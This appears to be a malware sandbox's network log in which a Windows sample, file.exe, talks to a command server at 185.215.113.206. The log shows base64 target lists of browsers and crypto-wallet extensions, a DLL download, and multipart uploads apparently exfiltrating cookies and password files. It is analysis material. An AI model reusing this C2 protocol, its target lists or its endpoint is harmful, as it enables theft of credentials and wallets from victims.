78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 00:19:01.270405054 CET	224	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJv
Nov 20, 2024 00:19:01.270417929 CET	796	IN	Data Raw: 62 57 56 38 4d 48 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 Data Ascii: bWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblx8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8MHxRUUJyb3dzZXJ8XFR
Nov 20, 2024 00:19:01.273489952 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"plugins------CGIDAAAKJJDBGCBFCBGI--
Nov 20, 2024 00:19:01.499821901 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 00:19:01.499918938 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 20, 2024 00:19:01.500745058 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 20, 2024 00:19:01.500761986 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 20, 2024 00:19:01.500772953 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 20, 2024 00:19:01.500782013 CET	672	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 20, 2024 00:19:01.500792027 CET	1236	IN	Data Raw: 62 57 78 69 62 47 4e 76 5a 47 5a 76 59 6e 42 6b 63 47 56 6a 59 57 46 6b 5a 32 5a 69 59 32 64 6e 5a 6d 70 6d 62 6d 31 38 4d 58 77 77 66 44 42 38 52 6e 4a 76 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 Data Ascii: bWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmt
Nov 20, 2024 00:19:01.500802040 CET	368	IN	Data Raw: 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 68 70 61 47 56 6f 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 Data Ascii: aW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZ
Nov 20, 2024 00:19:01.502836943 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"fplugins------FHJDGHIJDGCBAAAAAFIJ--
Nov 20, 2024 00:19:01.728562117 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 00:19:01.744663954 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKK Host: 185.215.113.206 Content-Length: 6771 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 00:19:01.744731903 CET	6771	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 00:19:02.480983973 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:02.921449900 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:03.145440102 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	6380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:19:11.375118017 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJ Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 00:19:11.375133038 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 Data Ascii: ------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 20, 2024 00:19:12.601480007 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:12.739532948 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file"------HCBFIJJECFIEBGDGCFIJ--
Nov 20, 2024 00:19:13.464885950 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49762	185.215.113.206	80	6380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:19:18.857441902 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIEC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 00:19:18.857465982 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 00:19:20.106770039 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:21.158396959 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 